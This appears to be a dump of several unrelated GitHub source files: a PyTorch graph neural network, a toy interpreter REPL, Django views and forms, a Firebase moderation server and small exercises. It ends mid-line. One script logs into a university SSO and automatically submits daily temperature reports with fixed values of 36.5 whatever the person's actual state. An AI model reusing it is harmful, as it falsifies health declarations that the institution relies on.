self.act = nn.LeakyReLU()\n self.drop = nn.Dropout(p = 0.1)\n nn.init.xavier_normal_(self.layer1.weight)\n nn.init.xavier_normal_(self.layer2.weight)\n nn.init.xavier_normal_(self.output.weight)\n\n def forward(self, node_emb_inter, node_emb_intra):\n \"\"\"\n\n :param node_emb_inter: #node * #inter_emb\n :param node_emb_intra: #node * #intra_emb\n :return:\n \"\"\"\n if self.mode == \"cat\":\n mixture_emb = torch.cat((node_emb_inter, node_emb_intra), dim=1)\n hidden_emb = self.act(self.drop(self.layer1(mixture_emb)))\n # hidden_emb = self.act(self.layer2(hidden_emb))\n return hidden_emb\n\n\nclass TimeBlock(nn.Module):\n \"\"\"\n one timeblock need two consecutive timestamp data\n return cur time node embedding after inter and intra gnn block\n\n \"\"\"\n\n def __init__(self, pre_node_fea, intra_pre_gnn_mode, cur_node_fea, intra_cur_gnn_mode, \\\n pre_mix_mode, cur_mix_mode, inter_node_fea, inter_gnn_mode, out_node_emb, \\\n out_hidden, out_rlt_mode, intra_gnn_fea, intra_gnn_hidden, intra_gnn_node_emb, \\\n intra_gnn_drop, intra_gnn_readout, intra_gnn_graph_emb, inter_gnn_fea, inter_gnn_hidden,\n inter_gnn_node_emb, \\\n inter_gnn_drop, inter_gnn_readout, inter_gnn_graph_emb):\n super(TimeBlock, self).__init__()\n\n self.intra_layer_pre = IntraGraphBlock(pre_node_fea, intra_pre_gnn_mode, intra_gnn_fea, intra_gnn_hidden,\n intra_gnn_node_emb, \\\n intra_gnn_drop, intra_gnn_readout, intra_gnn_graph_emb)\n\n self.intra_layer_cur = IntraGraphBlock(cur_node_fea, intra_cur_gnn_mode, intra_gnn_fea, intra_gnn_hidden,\n intra_gnn_node_emb, \\\n intra_gnn_drop, intra_gnn_readout, intra_gnn_graph_emb)\n\n self.pre_mix_graph = MixtureGraphEmbedding(pre_mix_mode, 256)\n self.cur_mix_graph = MixtureGraphEmbedding(cur_mix_mode, 256)\n self.inter_layer = InterGraphBlock(256, inter_gnn_mode, 256, inter_gnn_hidden,\n inter_gnn_node_emb, \\\n inter_gnn_drop, inter_gnn_readout, inter_gnn_graph_emb)\n self.output = MixtureOutput(out_node_emb, out_hidden, out_rlt_mode)\n\n def forward(self, pre_node, cur_node,pre_node_supply,cur_node_supply):\n pre_node_emb, pre_graph_emb = self.intra_layer_pre(pre_node,pre_node_supply)\n cur_node_emb, cur_graph_emb = self.intra_layer_cur(cur_node,cur_node_supply)\n pre_mix_emb = self.pre_mix_graph(pre_node_emb, pre_graph_emb)\n cur_mix_emb = self.cur_mix_graph(cur_node_emb, cur_graph_emb)\n node_inter_emb = self.inter_layer(pre_mix_emb, cur_mix_emb)\n node_output_emb = self.output(node_inter_emb, cur_node_emb)\n return node_output_emb\n\n\nclass Model(nn.Module):\n \"\"\"\n multi-timestamp training\n todo:get_laplacien\n \"\"\"\n\n def __init__(self, win_size, pre_node_fea, intra_pre_gnn_mode, cur_node_fea, intra_cur_gnn_mode, \\\n pre_mix_mode, cur_mix_mode, inter_node_fea, inter_gnn_mode, out_node_emb, \\\n out_hidden, out_rlt_mode, intra_gnn_fea, intra_gnn_hidden, intra_gnn_node_emb, \\\n intra_gnn_drop, intra_gnn_readout, intra_gnn_graph_emb, inter_gnn_fea, inter_gnn_hidden,\n inter_gnn_node_emb, \\\n inter_gnn_drop, inter_gnn_readout, inter_gnn_graph_emb,final_emb,num_cats):\n super(Model, self).__init__()\n self.win_size = win_size\n self.output = nn.Linear(final_emb, num_cats)\n self.act = nn.ReLU()\n # self.drop = nn.Dropout(p = 0.1)\n nn.init.xavier_normal_(self.output.weight)\n # self.stock_block = nn.ModuleList()\n\n # todo: same timeblock in every timestamp\n # self.stock_block.extend([TimeBlock(pre_node_fea, intra_pre_gnn_mode, cur_node_fea, intra_cur_gnn_mode, \\\n # pre_mix_mode, cur_mix_mode, inter_node_fea, inter_gnn_mode, out_node_emb, \\\n # out_hidden, out_rlt_mode, intra_gnn_fea, intra_gnn_hidden,\n # intra_gnn_node_emb, \\\n # intra_gnn_drop, intra_gnn_readout, intra_gnn_graph_emb, inter_gnn_fea,\n # inter_gnn_hidden, inter_gnn_node_emb, \\\n # inter_gnn_drop, inter_gnn_readout, inter_gnn_graph_emb) for i in\n # range(win_size)])\n\n self.time_cursor = TimeBlock(pre_node_fea, intra_pre_gnn_mode, cur_node_fea, intra_cur_gnn_mode, \\\n pre_mix_mode, cur_mix_mode, inter_node_fea, inter_gnn_mode, out_node_emb, \\\n out_hidden, out_rlt_mode, intra_gnn_fea, intra_gnn_hidden,\n intra_gnn_node_emb, \\\n intra_gnn_drop, intra_gnn_readout, intra_gnn_graph_emb, inter_gnn_fea,\n inter_gnn_hidden, inter_gnn_node_emb, \\\n inter_gnn_drop, inter_gnn_readout, inter_gnn_graph_emb)\n\n def forward(self, node_fea,supply,task = \"regression\"):\n for i in range(self.win_size):\n if i == 0:\n pre_node = node_fea[0]\n cur_node = node_fea[1]\n pre_node_supply = supply[0]\n cur_node_supply = supply[1]\n cur_node_emb = self.time_cursor(pre_node, cur_node,pre_node_supply,cur_node_supply)\n else:\n\n cur_node = node_fea[i + 1].contiguous()\n pre_node_supply = cur_node_supply\n cur_node_supply = supply[i+1]\n pre_node = cur_node_emb.contiguous()\n cur_node_emb = self.time_cursor(pre_node, cur_node,pre_node_supply,cur_node_supply)\n logits = torch.mean(self.output(cur_node_emb), dim=0)\n # if task == \"regression\":\n # logits = self.output(cur_node_emb)\n\n return logits\n\n\nif __name__ == \"__main__\":\n test = torch.randn(9, 10, 16)\n print(test)\n\n gold = torch.randn(16)\n args = {\"win_size\": 2,\n \"pre_node_fea\": 16,\n \"intra_pre_gnn_mode\": \"gcn\",\n \"cur_node_fea\": 16,\n \"intra_cur_gnn_mode\": \"gcn\",\n \"pre_mix_mode\": \"cat\",\n \"cur_mix_mode\": \"cat\",\n \"inter_node_fea\": 16,\n \"inter_gnn_mode\": \"gcn\",\n \"out_node_emb\": 16,\n \"out_hidden\": 16,\n \"out_rlt_mode\": 16,\n \"intra_gnn_fea\": 16,\n \"intra_gnn_hidden\": 16,\n \"intra_gnn_node_emb\": 16,\n \"intra_gnn_drop\": 0.5,\n \"intra_gnn_readout\": 16,\n \"intra_gnn_graph_emb\": 16,\n \"inter_gnn_fea\": 16,\n \"inter_gnn_hidden\": 16,\n \"inter_gnn_node_emb\": 16,\n \"inter_gnn_drop\": 0.5,\n \"inter_gnn_readout\": 16,\n \"inter_gnn_graph_emb\": 16,\n \"final_emb\":256,\n \"num_cats\":5\n }\n model = Model(**args)\n rlt = model(test)\n criterion = torch.nn.L1Loss(reduction='mean')\n opt = torch.optim.Adam(model.parameters(), lr=1e-5, weight_decay=1e-5)\n opt.zero_grad()\n loss = criterion(rlt, gold)\n loss.backward()\n opt.step()\n print(rlt)\n","repo_name":"0x10C/gnn4spatial_temporarl","sub_path":"new_model/inter_intra_model.py","file_name":"inter_intra_model.py","file_ext":"py","file_size_in_byte":11881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28035444708","text":"import pmonkey.lexer as lexer\nimport pmonkey.parser as parser\nimport pmonkey.token as token\nimport pmonkey.evaluator as evaluator\nfrom pmonkey.environment import Environment\n\nPROMPT = \">> \"\n\nMONKEY_FACE = r\"\"\"\n __,__\n .--. .-\" \"-. .--.\n / .. \\/ .-. .-. \\/ .. \\\n | | '| / Y \\ |' | |\n | \\ \\ \\ 0 | 0 / / / |\n \\ '- ,\\.-\"\"\"\"\"\"\"-./, -' /\n ''-' /_ ^ ^ _\\ '-''\n | \\._ _./ |\n \\ \\ '~' / /\n '._ '-=-' _.'\n '-----'\n\"\"\"\n\n\ndef start():\n env = Environment()\n while True:\n print(PROMPT, end='')\n source = input()\n\n if not source or source == \"exit\":\n return\n\n lex = lexer.Lexer(source)\n psr = parser.Parser(lex)\n program = psr.parse_program()\n\n if len(psr.errors) > 0:\n print(MONKEY_FACE)\n print(\"Woops! We ran into some monkey business here!\")\n print(\"parser errors:\")\n print(\"\\n\".join([str(e) for e in psr.errors]))\n continue\n\n evaluated = evaluator.eval(program, env)\n if evaluated != None:\n print(evaluated.inspect())\n\n\nif __name__ == \"__main__\":\n start()\n","repo_name":"Nabe847/MonkeyPython","sub_path":"repl.py","file_name":"repl.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23380676782","text":"import cv2\nimport numpy as np\nimport sys\nimport random\nimport piece\n\n\n\n\nif __name__ == \"__main__\":\n img = cv2.imread(sys.argv[1], cv2.IMREAD_COLOR)\n row, col, channel = img.shape\n\n p = int(sys.argv[2])\n q = int(sys.argv[3])\n\n\n # Split img to pieces\n piece_row = int(row/p)\n piece_col = int(col/q)\n\n pieces = [[piece.Piece(piece_row, piece_col,\n img[i*piece_row:i*piece_row+piece_row, j*piece_col:j*piece_col+piece_col])\n for j in range(q)]\n for i in range(p)]\n\n #Flip pieces\n for i in range(p):\n for j in range(q):\n flip_flag = random.randint(0, 4)\n for k in range(flip_flag % 2,int(flip_flag/2),2):\n pieces[i][j].flip(flip_flag % 2)\n\n\n #shuffle pieces\n piece_idx = [i for i in range(p*q)]\n random.shuffle(piece_idx)\n\n # Merge to puzzled pieces\n puzzled_image = np.zeros((row,col, 3), np.uint8)\n for i in range(p*q):\n offset_row = piece_row*int(i/q)\n offset_col = piece_col*int(i%q)\n puzzled_image[offset_row:offset_row+piece_row, offset_col:offset_col+piece_col] = \\\n pieces[int(piece_idx[i]/q)][piece_idx[i]%q].img\n\n cv2.imwrite(\"puzzled_image.jpg\",puzzled_image)\n cv2.imshow(\"image\", puzzled_image)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\n","repo_name":"gomamon/ImagePuzzleUnpuzzle","sub_path":"puzzle.py","file_name":"puzzle.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39676110505","text":"from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect, HttpResponse\nfrom generic.service import verify_email\nfrom user.forms import ProfileUpdateForm, AddMoneyForm\n\n\n@login_required(login_url='/signin/')\ndef view(request):\n\tuser = request.user\n\tcontext = {\n\t\t'user' : user\n\t}\n\treturn render(request, 'user/profile/view.html', context)\n\n\n\n@login_required(login_url='/signin/')\ndef update(request):\n\tcontext = {}\n\tuser = request.user\n\n\tif request.method == 'POST':\n\t\tform = ProfileUpdateForm(request.POST, user=user)\n\t\tif form.is_valid():\n\t\t\tif form.is_new_email():\n\t\t\t\tuser = form.save(commit=False)\n\t\t\t\tuser.is_active = False\n\t\t\t\tuser.save()\n\t\t\t\tverify_email(request, user)\n\t\t\t\treturn HttpResponse('

Verify Your Email. Check Your Mailbox

')\n\t\t\tform.save()\n\t\t\treturn redirect('/profile/')\n\telse:\n\t\tform = ProfileUpdateForm(user=request.user)\n\n\tcontext['form'] = form\n\n\treturn render(request, 'user/profile/update.html', context)\n\n\n\n@login_required(login_url='/signin/')\ndef add_money(request):\n\tif request.method == 'POST':\n\t\tform = AddMoneyForm(request.POST, user=request.user)\n\t\tif form.is_valid():\n\t\t\tform.save()\n\t\t\treturn redirect('/profile/')\n\telse:\n\t\tform = AddMoneyForm(user=request.user)\n\n\tcontext = {'form' : form}\n\treturn render(request, 'user/profile/add_money.html', context)","repo_name":"rafiulgits/cafe","sub_path":"user/views/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21722854052","text":"from django.contrib.auth.forms import UserCreationForm\nfrom django import forms\nfrom .models import Employee, Node\nfrom django.contrib.auth.models import User\n\nclass UserEmployeeRegistrationForm(UserCreationForm):\n first_name = forms.CharField( max_length=30)\n last_name = forms.CharField(max_length=30)\n email = forms.EmailField(max_length=254, required=True)\n\n node_network = forms.ModelChoiceField(queryset=Node.objects.all(),required=True)\n\n class Meta(UserCreationForm.Meta):\n model = User\n fields = (\"username\", \"email\", \"first_name\", \"last_name\", \"node_network\")\n\n def save(self, commit=True):\n user = super().save(commit=False)\n user.email = self.cleaned_data[\"email\"]\n if commit:\n user.save()\n Employee.objects.create(\n user=user,\n first_name=self.cleaned_data[\"first_name\"],\n last_name=self.cleaned_data[\"last_name\"],\n active=True,\n node_network=self.cleaned_data[\"node_network\"]\n )\n\n return user\n","repo_name":"McDinii/RD_test","sub_path":"app/core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21512956048","text":"import pyrebase_joey\nimport time\nimport shutil\nfrom oauth_client import credentials\nfrom oauth_client import refresh_credentials as refresh\nfrom requests.exceptions import HTTPError\nfrom conf import config, config2\n\n\n# initialise connection with firebase\nfirebase = pyrebase_joey.initialize_app(config)\n# firebase.set_creds(credentials)\n# firebase.set_access_token(credentials.get_access_token())\ndb = firebase.database()\n\n# create database object of study spaces\nres = db.child('study_spaces').get()\n\n# running error count\nerror_count = 0\n\n# search database for comments with votes below -5.\ndef moderate(spaces, post=None):\n\tglobal error_count\n\tif post is None:\n\t\tfor space in spaces:\n\t\t\tspace1 = db.child('study_spaces').child(space.key()).child('comments').get()\n\t\t\tif (space is not None) and (space1.each() is not None):\n\t\t\t\tc1 = db.child('study_spaces').child(space.key()).child('comments').get()\n\t\t\t\ttry:\n\t\t\t\t\tfor comment in c1.each():\n\t\t\t\t\t\tvotes = db.child('study_spaces').child(space.key()).child('comments').child(comment.key()).child('votes').get()\n\t\t\t\t\t\tif int(votes.val()) <= (-5):\n\t\t\t\t\t\t\tdb.child('study_spaces').child(space.key()).child('comments').child(comment.key()).remove()\n\n\t\t\t\texcept TypeError:\n\t\t\t\t\terror_count += 1\n\t\t\t\t\tprint(str(error_count)+'type errors. Error occured in moderate 1') #make logging\n\n\t\t\telif(space1.each() is None):\n\t\t\t\tbreak\n\n\telse:\n\t\ttry:\n\t\t\tvotes = db.child('study_spaces').child(post[1]).child('comments').child(post[3]).child('votes').get()\n\t\t\tif int(votes.val()) <= (-5):\n\t\t\t\tdb.child('study_spaces').child(post[1]).child('comments').child(post[3]).remove()\n\n\t\texcept TypeError:\n\t\t\terror_count += 1\n\t\t\tprint(str(error_count)+' type errors. Error occured in Moderate 2')\n\n#function to serach database for decibel lists and update the lists\ndef decibels(spaces, post=None):\n\tif post is None:\n\t\tfor sound in spaces:\n\t\t\ttry:\n\t\t\t\tlevels = db.child('study_spaces').child(sound.key()).child('decibel_list').get().val()\n\t\t\t\tlevel_list = levels.split()\n\t\t\t\ttot = 0\n\t\t\t\tfor i in range(len(level_list)):\n\t\t\t\t\ttot += int(level_list[i].rstrip(',')) #There is a comma after each int.\n\n\t\t\t\tavg = tot/(len(level_list))\n\t\t\t\tdata = {\"decibel\": str(avg)}\n\t\t\t\tdb.child('study_spaces').child(sound.key()).update(data)\n\t\t\t\n\t\t\texcept TypeError:\n\t\t\t\tglobal error_count\t\n\t\t\t\terror_count += 1\n\t\t\t\tprint(str(error)+'type errors. Error occured in decibels 1')\n\n\t\t\texcept ZeroDivisionError:\n\t\t\t\tdata = {\"decibel\": \"0\"}\n\t\t\t\tdb.child('study_spaces').child(sound.key()).update(data)\n\telse:\n\t\tlevels = db.child('study_spaces').child(post[1]).child('decibel_list').get().val()\n\t\tlevel_list = levels.split()\n\t\ttot = 0\n\t\t\t\t\n\t\tfor i in range(len(level_list)):\n\t\t\ttot += int(level_list[i].rstrip(',')) #There is a comma after each int.\n\n\t\tavg = tot/(len(level_list))\n\t\tdata = {\"decibel\": str(avg)}\n\t\tdb.child('study_spaces').child(post[1]).update(data)\n\n#function to search and update ratings in the database\ndef ratings(spaces, post=None):\n\tif post is None:\n\t\tfor rating in spaces:\n\t\t\ttry:\n\t\t\t\tlevels = db.child('study_spaces').child(rating.key()).child('rating_list').get().val()\n\t\t\t\tlevel_list = levels.split()\n\t\t\t\ttot = 0\n\t\t\t\tfor i in range(len(level_list)):\n\t\t\t\t\ttot += float(level_list[i].rstrip(',')) #There is a comma after each int.\n\n\t\t\t\tavg = round(tot/(len(level_list)), 1)\n\t\t\t\tdata = {\"rating\": str(avg)}\n\t\t\t\tdb.child('study_spaces').child(rating.key()).update(data)\n\t\t\t\n\t\t\texcept TypeError:\n\t\t\t\tglobal error_count\n\t\t\t\terror_count += 1\n\t\t\t\tprint(str(error_count)+'type errors. Error occured in ratings 1')\n\telse:\n\t\tlevels = db.child('study_spaces').child(post[1]).child('rating_list').get().val()\n\t\tlevel_list = levels.split()\n\t\ttot = 0\n\t\t\n\t\tfor i in range(len(level_list)):\n\t\t\ttot += float(level_list[i].rstrip(',')) #There is a comma after each int.\n\n\t\tavg = round(tot/(len(level_list)), 1)\n\t\tdata = {\"rating\": str(avg)}\n\t\tdb.child('study_spaces').child(post[1]).update(data)\n\n# function to give a rough estimate of how many students are at a study space based off checkins.\ndef occupancy(spaces, post=None):\n\tglobal error_count\n\tif post is None:\n\t\tfor people in spaces:\n\t\t\tpeoples = db.child('study_spaces').child(people.key()).child('occupants').get()\n\t\t\tif (people is not None) and (peoples.each() is not None):\n\t\t\t\tc1 = db.child('study_spaces').child(people.key()).child('occupants').get()\n\t\t\t\ttry:\n\t\t\t\t\tcount = 0\n\t\t\t\t\tfor ocupant in c1.each():\n\t\t\t\t\t\tcount += 1\n\n\t\t\t\t\tdata = {'num_occupants': str(count)}\n\t\t\t\t\tdb.child('study_spaces').child(people.key()).update(data)\n\n\t\t\t\texcept TypeError:\n\t\t\t\t\terror_count += 1\n\t\t\t\t\tprint(str(error_count)+'type errors. Error occured in occupancy 1')\n\t\t\telif (peoples.each() is None):\n\t\t\t\tdata = {'num_occupants': '0'}\n\t\t\t\tdb.child('study_spaces').child(people.key()).update(data)\n\telse:\n\t\tc1 = db.child('study_spaces').child(post[1]).child('occupants').get()\n\t\ttry:\n\t\t\tif c1.each() is None:\n\t\t\t\tdata = {'num_occupants': '0'}\n\t\t\t\tdb.child('study_spaces').child(post[1]).update(data)\n\t\t\telse:\n\t\t\t\tcount = 0\n\t\t\t\tfor ocupant in c1.each():\n\t\t\t\t\tcount += 1\n\n\t\t\t\tdata = {'num_occupants': str(count)}\n\t\t\t\tdb.child('study_spaces').child(post[1]).update(data)\n\n\t\texcept TypeError:\n\t\t\terror_count += 1\n\t\t\tprint(str(error_count)+'type errors. Error occured in occupancy 2')\n\n#function to call the above function on data changes\ndef stream_handler(post):\n\tglobal res\n\tdb_data = res.each()\n\n\t# get path to database location of the change, then sort to correct database function(s)\n\tlocation = str(post['path']).split('/')\n\n\tif 'comments' in location:\n\t\tmoderate(db_data, location)\n\telif 'rating_list' in location:\n\t\tratings(db_data, location)\n\telif 'occupants' in location:\n\t\toccupancy(db_data, location)\n\telif 'decibel_list' in location:\n\t\tdecibels(db_data, location)\n\telif 'decibel' in location:\n\t\tdecibel(db_data)\n\telif 'num_occupants' in location:\n\t\toccupancy(db_data)\n\telif 'rating' in location:\n\t\tratings(db_data)\n\telif (len(location) == 2) or ('image' in location) or ('location' in location) or ('name' in location):\n\t\tprint('caught tree change')\n\telse:\n\t\tprint('unmoderated data change, checking database')\n\t\tprint(location)\n\t\tratings(db_data)\n\t\tdecibels(db_data)\n\t\toccupancy(db_data)\n\n# inital run to ensure data exists\nmoderate(res.each()) \ndecibels(res.each())\nratings(res.each())\noccupancy(res.each())\n\n#variable to control loop mesage\nfirstrun = True\n\n# monitor database for changes. Sleep time allows for connection to be established.\nwhile True:\n\t#stream is a live stream of the database\n\tstream = db.child('study_spaces').stream(stream_handler)\n\ttime.sleep(15)\n\tif firstrun:\n\t\tprint('server is running')\n\t\tfirstrun = False\n\telse:\n\t\tprint('server reconnected')\n\n\ttime.sleep(3400)\n\t#destroy old credentials\n\tprint('removing old credentials')\n\ttry:\n\t\tshutil.rmtree('__pycache__')\n\texcept FileNotFoundError:\n\t\tcontinue\n\n\t#regenerate credentials and reinitialize firebase database\n\tcredentials = refresh()\n\tfirebase = pyrebase_joey.initialize_app(config2)\n\tfirebase.set_creds(credentials)\n\tfirebase.set_access_token(credentials.get_access_token())\n\n\tdb = firebase.database()\n\tres = db.child('study_spaces').get()","repo_name":"angusjlowe/dpnm-2016","sub_path":"server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":7075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19602768149","text":"# _*_coding:utf-8_*_\r\n# 请求模块\r\nimport re\r\nimport sys\r\nimport time\r\nimport requests\r\n\r\nfrom lib.des.handler import make_sso_rsa\r\nfrom lib.log import get_logger\r\n\r\n\r\ndef get_sso(s):\r\n try:\r\n headers = {\r\n \"Host\": \"sso.ujn.edu.cn\",\r\n \"Upgrade-Insecure-Requests\": \"1\",\r\n \"DNT\": \"1\",\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36\",\r\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\r\n \"Referer\": \"http://fanxiao.ujn.edu.cn/\",\r\n \"Accept-Encoding\": \"gzip, deflate\",\r\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\",\r\n \"Connection\": \"keep-alive\"\r\n }\r\n url = \"http://sso.ujn.edu.cn/tpass/login?service=http%3A%2F%2Ffanxiao.ujn.edu.cn%2Fcas%2Findex\"\r\n \r\n s.headers.clear()\r\n result = s.get(url=url, headers=headers)\r\n \r\n cookies = result.cookies\r\n html = result.text\r\n lt_finder = re.search(r\"id=\\\"lt\\\" name=\\\"lt\\\" value=\\\"(.*)\\\"\", html).groups()\r\n execution_finder = re.search(r\"name=\\\"execution\\\" value=\\\"(.*)\\\"\", html).groups()\r\n \r\n if len(lt_finder) > 0:\r\n lt = lt_finder[0]\r\n else:\r\n lt = None\r\n\r\n if len(execution_finder) > 0:\r\n execution = execution_finder[0]\r\n else:\r\n execution = None\r\n \r\n return cookies, lt, execution\r\n except Exception as e:\r\n logger = get_logger(\"error\")\r\n message = {\r\n \"action\": \"GET 请求 SSO 站点登录页，生成构造登录请求所需的关键变量\",\r\n \"status\": \"失败\",\r\n \"message\": e\r\n }\r\n logger.error(msg=message)\r\n sys.exit(0)\r\n\r\n\r\ndef post_sso(s, cookies, username, password, lt, execution):\r\n try:\r\n ul = len(username)\r\n pl = len(password)\r\n rsa = make_sso_rsa(username, password, lt)\r\n url = \"http://sso.ujn.edu.cn/tpass/login?service=http%3A%2F%2Ffanxiao.ujn.edu.cn%2Fcas%2Findex\"\r\n headers = {\r\n \"Host\":\t\"sso.ujn.edu.cn\",\r\n \"Content-Length\": \"401\",\r\n \"Cache-Control\": \"max-age=0\",\r\n \"Origin\": \"http://sso.ujn.edu.cn\",\r\n \"Upgrade-Insecure-Requests\": \"1\",\r\n \"DNT\": \"1\",\r\n \"Content-Type\": \"application/x-www-form-urlencoded\",\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36\",\r\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\r\n \"Referer\": \"http://sso.ujn.edu.cn/tpass/login?service=http%3A%2F%2Ffanxiao.ujn.edu.cn%2Fcas%2Findex\",\r\n \"Accept-Encoding\": \"gzip, deflate\",\r\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\",\r\n \"Connection\": \"keep-alive\",\r\n }\r\n data = {\r\n \"rsa\": rsa,\r\n \"ul\": ul,\r\n \"pl\": pl,\r\n \"lt\": lt,\r\n \"execution\": execution,\r\n \"_eventId\": \"submit\"\r\n }\r\n\r\n s.headers.clear()\r\n result = s.post(url=url, headers=headers, cookies=cookies, data=data)\r\n\r\n fanxiao_token_url = result.request.url\r\n\r\n return fanxiao_token_url\r\n except Exception as e:\r\n logger = get_logger(\"error\")\r\n message = {\r\n \"action\": \"POST 请求 SSO 站点登录页，获取待认证参数的 fanxiao 站点登录 url\",\r\n \"status\": \"失败\",\r\n \"message\": e\r\n }\r\n logger.error(msg=message)\r\n sys.exit(0)\r\n\r\n\r\ndef post_fanxiao_sid(s, url):\r\n try:\r\n headers = {\r\n \"Host\": \"fanxiao.ujn.edu.cn\",\r\n \"Cache-Control\": \"max-age=0\",\r\n \"Upgrade-Insecure-Requests\": \"1\",\r\n \"DNT\": \"1\",\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36\",\r\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\r\n \"Referer\": \"http://sso.ujn.edu.cn/\",\r\n \"Accept-Encoding\": \"gzip, deflate\",\r\n \"Accept-Language\":\t\"zh-CN,zh;q=0.9,en;q=0.8\",\r\n \"Connection\": \"keep-alive\"\r\n }\r\n\r\n s.headers.clear()\r\n result = s.get(url=url, headers=headers)\r\n\r\n sid = result.request._cookies[\"sid\"]\r\n\r\n return sid\r\n except Exception as e:\r\n logger = get_logger(\"error\")\r\n message = {\r\n \"action\": \"通过待认证参数的 fanxiao 站点登录 URL 获取 sid\",\r\n \"status\": \"失败\",\r\n \"message\": e\r\n }\r\n logger.error(msg=message)\r\n sys.exit(0)\r\n\r\n\r\ndef post_fanxiao_temperature_record(sid):\r\n today_date = time.strftime(\"%Y-%m-%d\", time.localtime())\r\n now = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\r\n\r\n url = \"http://fanxiao.ujn.edu.cn/temperatureRecord/createTemperatureRecordCopy\"\r\n headers = {\r\n \"Host\": \"fanxiao.ujn.edu.cn\",\r\n \"Accept\": \"application/json, text/javascript, */*; q=0.01\",\r\n \"X-Requested-With\": \"XMLHttpRequest\",\r\n \"Accept-Language\": \"zh-cn\",\r\n \"Accept-Encoding\": \"gzip, deflate\",\r\n \"Origin\": \"http://fanxiao.ujn.edu.cn\",\r\n \"User-Agent\": \"Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.18(0x1700122e) NetType/WIFI Language/zh_CN\",\r\n \"Cookie\": f\"sid={sid}\",\r\n \"Content-Length\": \"104\",\r\n \"Content-Type\": \"application/x-www-form-urlencoded\",\r\n \"Connection\": \"keep-alive\"\r\n }\r\n data = {\r\n \"reportTime\": today_date,\r\n \"isOut\": \"2\",\r\n \"address\": None,\r\n \"travelMode\": None,\r\n \"temperatureAm\": \"36.5\",\r\n \"temperaturePm\": \"36.5\",\r\n \"reserveOne\": \"36.5\"\r\n }\r\n\r\n try:\r\n result = requests.post(url=url, headers=headers, data=data).json()\r\n status = result.get(\"status\", 0)\r\n message = result.get(\"msg\", \"未知错误发生\")\r\n if status == 1:\r\n logger = get_logger(\"access\")\r\n message = {\r\n \"action\": \"通过 fanxiao 站点 API 写入温度记录\",\r\n \"status\": \"成功\",\r\n \"message\": message\r\n }\r\n logger.info(msg=message)\r\n sys.exit(0)\r\n else:\r\n logger = get_logger(\"error\")\r\n message = {\r\n \"action\": \"通过 fanxiao 站点 API 写入温度记录\",\r\n \"status\": \"失败\",\r\n \"message\": message\r\n }\r\n logger.error(msg=message)\r\n sys.exit(0)\r\n except Exception as e:\r\n logger = get_logger(\"error\")\r\n message = {\r\n \"action\": \"构造 fanxiao 站点写入温度记录的 API 请求\",\r\n \"status\": \"失败\",\r\n \"message\": e\r\n }\r\n logger.error(msg=message)\r\n sys.exit(0)\r\n","repo_name":"ryomahan/auto_ujn_temp_record","sub_path":"lib/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":7273,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"38791477020","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the cutTheSticks function below.\ndef cutTheSticks(arr):\n num_cuts = 1\n result = []\n while num_cuts != 0:\n cut = min(arr)\n num_cuts = 0\n for k,i in enumerate(arr):\n if i >= cut:\n arr[k] = arr[k] - cut\n num_cuts = num_cuts + 1\n print(arr)\n if num_cuts == len(arr) and cut == 0:\n break\n else:\n result.append(num_cuts)\n return result\n\nif __name__ == '__main__':\n #n = int(input())\n\n #arr = list(map(int, input()))\n\n result = cutTheSticks([1,2, 3, 4, 3, 3, 2, 1])\n\n print('\\n'.join(map(str, result)))\n\n","repo_name":"RajatPawar/hackerrank","sub_path":"playground/pytest.py","file_name":"pytest.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"36050063052","text":"''' Exercício Python 084: Faça um programa que leia nome e peso de várias pessoas, guardando tudo em uma lista.\nNo final, mostre:\nA) Quantas pessoas foram cadastradas.\nB) Uma listagem com as pessoas mais pesadas.\nC) Uma listagem com as pessoas mais leves. '''\npessoas = []\ndado = []\ntotmai = totmen = 0\nwhile True:\n dado.append(str(input('Digite o nome: ')))\n dado.append(float(input('Digite a peso: ')))\n if len(pessoas) == 0:\n totmai = totmen = dado[1]\n 